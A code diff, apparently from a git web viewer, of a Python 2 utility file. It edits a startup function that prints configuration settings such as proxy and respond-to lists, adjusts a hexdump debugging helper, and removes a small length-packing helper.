|
||||
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
|
|
@ -342,21 +291,16 @@ def StartupMessage():
|
|||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
||||
|
||||
if len(settings.Config.RespondTo):
|
||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.RespondToName):
|
||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondTo):
|
||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondToName):
|
||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
||||
print "\n\n"
|
||||
|
||||
print ""
|
||||
print ""
|
||||
|
||||
# Useful for debugging
|
||||
def hexdump(src, l=0x16):
|
||||
|
|
@ -394,7 +338,3 @@ def hexdump(src, l=0x16):
|
|||
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
||||
|
||||
return '\n'.join(res)
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue